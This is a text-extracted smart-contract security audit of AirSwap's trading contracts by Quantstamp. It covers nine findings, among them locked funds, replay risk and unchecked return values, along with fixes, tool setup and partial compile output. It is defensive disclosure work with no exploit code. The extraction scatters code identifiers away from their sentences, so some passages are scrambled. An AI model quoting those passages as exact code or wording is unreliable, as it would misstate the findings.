abi.encodePacked value */ function hashDomain( bytes calldata name, bytes calldata version, address verifyingContract ) external pure returns (bytes32) { return keccak256(abi.encode( DOMAIN_TYPEHASH, keccak256(name), keccak256(version), verifyingContract )); } }
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to 